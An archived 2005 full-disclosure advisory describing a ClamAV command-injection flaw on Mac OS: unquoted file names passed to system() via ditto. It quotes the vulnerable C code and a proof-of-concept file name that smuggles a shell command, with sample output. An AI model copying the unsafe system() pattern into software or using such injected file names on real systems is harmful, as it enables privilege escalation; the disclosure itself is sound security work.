[Full-disclosure] ClamAV: Local Privilege Escalation Vulnerability On MacOS [SCN Advisory #04]

From: Tim (tim-security_at_sentinelchicken.org)
Date: 05/28/05

  • Next message: Nah: "[Full-disclosure] XSS Bug in Jaws Glossary Action: ViewTerm ( v 0.4 - 0.5.1 (latest version))"
    Date: Fri, 27 May 2005 22:05:21 -0400
    To: full-disclosure@lists.grok.org.uk
    
    
    
    

    The full, up-to-date advisory will be maintained here:
      http://www.sentinelchicken.com/advisories/clamav/

    For your convenience, a text version is included below.

    tim

    --
    CLAMAV: LOCAL PRIVILEGE ESCALATION VULNERABILITY ON MACOS
    =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    TABLE OF CONTENTS
    =================
    I.   Background
    II.  Overview
    III. Details
    IV.  Mitigating Factors
    V.   Disclosure Timeline
    VI.  Credits
    VII. References
    I. BACKGROUND
    =============
    Taken from the Clam AntiVirus website[1]:
      "Clam AntiVirus is a GPL anti-virus toolkit for UNIX. The main
       purpose of this software is the integration with mail servers
       (attachment scanning). The package provides a flexible and scalable
       multi-threaded daemon, a command line scanner, and a tool for
       automatic updating via Internet. The programs are based on a shared
       library distributed with the Clam AntiVirus package, which you can
       use with your own software. Most importantly, the virus database is
       kept up to date."
    II. OVERVIEW
    ============
    A vulnerability was discovered in ClamAV during a code audit.  This
    vulnerability could allow a local attacker on a MacOS system to elevate
    privileges to that of a user running a ClamAV process.  This problem
    affects ClamAV versions 0.80rc4 through 0.84rc2, and is fixed in
    versions 0.84 and later.
    III. DETAILS
    ============
    Under the Mac OS file system (HFS) files are saved as to parts data and
    resource fork.  In ClamAV version 0.80rc4, support was added to copy
    both the data and the resource fork when moving a virus infected file.
    The mechanism they used was the Mac local system utility ditto.  While
    there isn't a security issue with using the "ditto" command itself, the
    system() call they use to execute it is insecure.  From the function
    filecopy(), in the file shared/misc.c: 
    ...
    #ifdef C_DARWIN
        /* On Mac OS X use ditto and copy resource fork, too. */
        char *ditto = (char *) mcalloc(strlen(src) + strlen(dest) + 30,\
                                       sizeof(char));
        sprintf(ditto, "/usr/bin/ditto --rsrc %s %s", src, dest);
        if(system(ditto)) {
            free(ditto);
            return -1;
        }
    ...
    This code does not check the filename for shell special characters, or
    quote existing ones.  If a file name contains an embedded shell command
    the system() will execute it as the ClamAV current UID.  An example
    attack is as follows: 
    Download a test virus
      http://www.eicar.org/download/eicar.com
    And rename it like so:
    $ mv eicar.com \;echo\ \"test\"\;
    If the clam user does not have permissions to remove the file it will
    try and copy the file and the resource fork via the ditto system call.
    The command it will execute in this case is:
    system("/usr/bin/ditto -rsrc ;echo "test"; /tmp/;echo "test" ");
    The shell will interpret the ';echo "test"; 's a separate command and
    execute it.  The following is some sample output:
    $ sudo -u nobody clamscan . --debug --move=/tmp
    ...
    LibClamAV debug: Eicar-Test-Signature found in descriptor 6.
    ./;echo "test";: Eicar-Test-Signature FOUND
    usage:  ditto [ <options> ] src [ ... src ] dst
        <options> are any of:
        -v              print a line of status for each src copied
        -V              print a line of status for every file copied
        -X              do not descend into directories with a different
                        device ID 
        -c              create a CPIO archive at dst
        -x              unpack the CPIO archives at src...
        -z              CPIO archives are compressed
        -k              archives are PKZip format
        --keepParent    parent directory of src is embedded in dst
        --arch archVal  fat files will be thinned to specified archVal
                        multiple -arch options can be specified
                        archVal should be one of "ppc", "i386", etc
        --bom bomFile   only files present in the specified bom are copied
        --rsrc          copy preserving resource data
        --sequesterRsrc copy resources via polite directory (PKZip only)
    test
    ...
    The usage statement above is produced because in this case, ditto's call
    doesn't have the correct command line options.  Afterward, "test" is
    printed, as expected.
    IV. MITIGATING FACTORS
    ======================
    The conditions under which this can be exploited are very limited.  A
    ClamAV process must be configured to move files to a quarantine in order
    for the ditto call to be used.  In addition, this call only appears to
    be used if a file move operation fails, at which point the file is then
    copied.  Once again, due to the #define used in the affected function,
    only Mac OS installations are affected.
    V. DISCLOSURE TIMELINE
    ======================
    2005-03-31   Initial Discovery
    2005-04-03   ClamAV Team Notified
    2005-04-29   Version 0.84 Released
    2005-05-27   Public Disclosure
    VI. CREDITS
    ===========
    Discovered by:
      Kevin Amorin
      Timothy Morgan
    VII. REFERENCES
    ===============
    1. ClamAV Team. "ClamAV: Abstract".  Accessed: 2005-05-26
       http://www.clamav.net/abstract.html
    2. ClamAV Team. "clamav-0.83.tar.gz". 
       Released: 2005-02-13.  Hosted by SourceForge.net.
       http://prdownloads.sourceforge.net/clamav/clamav-0.83.tar.gz?download
    
    

    
    

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.grok.org.uk/full-disclosure-charter.html
    Hosted and sponsored by Secunia - http://secunia.com/



  • Next message: Nah: "[Full-disclosure] XSS Bug in Jaws Glossary Action: ViewTerm ( v 0.4 - 0.5.1 (latest version))"

    Relevant Pages

    • Re: freshclam & clamav questions
      ... running clamav is pretty worthless. ... that command gives you the actual permissions of that dir, ls -l dir/ just gives permissions of the ... and you can always strace the command and grep it for open and exec system calls ...
      (comp.os.linux.security)
    • Re: Thoughts about finding viruses in email inboxes
      ... What clamav command are you running, exactly, and what ... Ubuntu and the command)? ... sudo clamscan -vir / ...
      (Ubuntu)
    • [VulnWatch] ClamAV: Local Privilege Escalation Vulnerability On MacOS [SCN Advisory #04]
      ... The package provides a flexible and scalable multi-threaded daemon, a command line scanner, and a tool for automatic updating via Internet. ... A vulnerability was discovered in ClamAV during a code audit. ... support was added to copy both the data and the resource fork when moving a virus infected file. ... While there isn't a security issue with using the "ditto" command itself, the systemcall they use to execute it is insecure. ...
      (VulnWatch)
    • Re: [opensuse] clamav vs avg for linux
      ... Is the command /man/man? ... Yes clamav is a command line program. ... I have found it much easier to use the KDE frontend for it called Klamav. ... "I'm not one of those who think Bill Gates is the devil. ...
      (SuSE)